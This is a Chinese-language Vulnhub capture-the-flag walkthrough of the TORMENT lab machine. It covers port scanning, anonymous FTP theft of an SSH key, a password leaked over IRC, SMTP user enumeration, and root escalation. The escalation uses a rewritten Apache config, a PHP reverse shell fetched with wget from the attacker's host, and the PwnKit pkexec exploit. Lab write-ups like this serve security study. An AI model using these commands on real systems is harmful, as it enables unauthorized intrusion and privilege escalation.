[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…

2024-07-25 243 0

信息收集

IP Address Opening Ports
192.168.101.152 TCP:21,22,25,80,111,139,143,445,631

$ nmap -p- 192.168.101.152 --min-rate 1000 -sC -sV

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp        112640 Dec 28  2018 alternatives.tar.0
| -rw-r--r--    1 ftp      ftp          4984 Dec 23  2018 alternatives.tar.1.gz
| -rw-r--r--    1 ftp      ftp         95760 Dec 28  2018 apt.extended_states.0
| -rw-r--r--    1 ftp      ftp         10513 Dec 27  2018 apt.extended_states.1.gz
| -rw-r--r--    1 ftp      ftp         10437 Dec 26  2018 apt.extended_states.2.gz
| -rw-r--r--    1 ftp      ftp           559 Dec 23  2018 dpkg.diversions.0
| -rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.1.gz
| -rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.2.gz
| -rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.3.gz
| -rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.4.gz
| -rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.5.gz
| -rw-r--r--    1 ftp      ftp           229 Dec 23  2018 dpkg.diversions.6.gz
| -rw-r--r--    1 ftp      ftp           505 Dec 28  2018 dpkg.statoverride.0
| -rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.1.gz
| -rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.2.gz
| -rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.3.gz
| -rw-r--r--    1 ftp      ftp           295 Dec 28  2018 dpkg.statoverride.4.gz
| -rw-r--r--    1 ftp      ftp           281 Dec 27  2018 dpkg.statoverride.5.gz
| -rw-r--r--    1 ftp      ftp           208 Dec 23  2018 dpkg.statoverride.6.gz
| -rw-r--r--    1 ftp      ftp       1719127 Jan 01  2019 dpkg.status.0
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.101.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
|   2048 84:c7:31:7a:21:7d:10:d3:a9:9c:73:c2:c2:2d:d6:77 (RSA)
|   256 a5:12:e7:7f:f0:17:ce:f1:6a:a5:bc:1f:69:ac:14:04 (ECDSA)
|_  256 66:c7:d0:be:8d:9d:9f:bf:78:67:d2:bc:cc:7d:33:b9 (ED25519)
25/tcp    open  smtp        Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: TORMENT.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=TORMENT
| Subject Alternative Name: DNS:TORMENT
| Not valid before: 2018-12-23T14:28:47
|_Not valid after:  2028-12-20T14:28:47
80/tcp    open  http        Apache httpd 2.4.25
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.25
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      40031/tcp6  mountd
|   100005  1,2,3      41802/udp6  mountd
|   100005  1,2,3      45478/udp   mountd
|   100005  1,2,3      55733/tcp   mountd
|   100021  1,3,4      38769/udp   nlockmgr
|   100021  1,3,4      46631/tcp6  nlockmgr
|   100021  1,3,4      46679/tcp   nlockmgr
|   100021  1,3,4      54964/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        Dovecot imapd
|_imap-capabilities: capabilities ID LOGIN-REFERRALS have AUTH=PLAIN IMAP4rev1 IDLE post-login listed SASL-IR more Pre-login OK ENABLE LITERAL+ AUTH=LOGINA0001
445/tcp   open  netbios-ssn Samba smbd 4.5.12-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
| http-methods:
|_  Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 2.2.1
|_http-server-header: CUPS/2.2 IPP/2.1
2049/tcp  open  nfs_acl     3 (RPC #100227)
6667/tcp  open  irc         ngircd
6668/tcp  open  irc         ngircd
6669/tcp  open  irc         ngircd
6672/tcp  open  irc         ngircd
6674/tcp  open  irc         ngircd
40151/tcp open  mountd      1-3 (RPC #100005)
46679/tcp open  nlockmgr    1-4 (RPC #100021)
55733/tcp open  mountd      1-3 (RPC #100005)
56207/tcp open  mountd      1-3 (RPC #100005)
Service Info: Hosts:  TORMENT.localdomain, TORMENT, irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

本地权限

ftp匿名登录

$ ftp 192.168.101.152

ftp> ls -la

ftp> cd .ssh

ftp> get id_rsa

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图

ftp> cd .ngircd

ftp> get channels

频道:games,tormentedprinter

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图1

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图2

使用hexchat加入聊天频道

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图3

mostmachineshaveasupersecurekeyandalongpassphrase

http://192.168.101.152:631/printers/

提取用户名

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图4

Albert
Cherrlt
David
Edmund
Ethan
Eva
Genevieve
Govindasamy
Jessica
Kenny
Patrick
Qinyi
Qiu
Roland
Sara

$ smtp-user-enum -M VRFY -U usernames -t 192.168.101.152

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图5

存在用户Patrick和Qiu

$ ssh -i id_rsa [email protected]

输入从irc聊天频道中获取的密码

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图6

权限提升

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图7

选项 1 : Qiu

$ ls -la /etc/apache2/apache2.conf

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图8

当我们重新启动 apache 服务时，它将以 qiu 用户权限执行

$ vi /etc/apache2/apache2.conf

添加
User qiu
Group qiu

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图9

$ cp /usr/share/webshells/php/php-reverse-shell.php /tmp/

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图10

$ cd /var/www/html

$ wget http://192.168.101.128/php-reverse-shell.php

重启主机,使Apache配置文件生效

$ sudo /bin/systemctl reboot

http://192.168.101.152/php-reverse-shell.php

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图11

$ python -c 'import pty;pty.spawn("/bin/bash")'

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图12

$ sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")'

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图13

选项2 : SUID : pkexec

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图14

$ wget https://github.com/ly4k/PwnKit/blob/main/PwnKit.c

$ gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

$ ./PwnKit

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图15

Proof.txt 截屏

[Vulnhub] TORMENT IRC+FTP+CUPS+SMTP+apache配置文件权限提升…插图16

Proof.txt 内容

Congrutulations on rooting TORMENT. I hope this box has been as fun for you as it has been for me. 🙂

相关文章：

  1. [Vulnhub]Wintermute LFI+SMTP+Screen+Structv2-RCE+L…
  2. [Vulnhub] Stapler wp-videos+ftp+smb+bash_history权限…
  3. Viper FTP for Mac v6.3.7 强大的FTP客户端
  4. [Vulnhub] BillyMadison1dot Wireshark+Port-Knocking…
  5. [Vulnhub] BrainPan BOF缓冲区溢出+Man权限提升

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）

4A测评
网络安全
0 0

相关文章

webpack打包站点，js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习｜powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论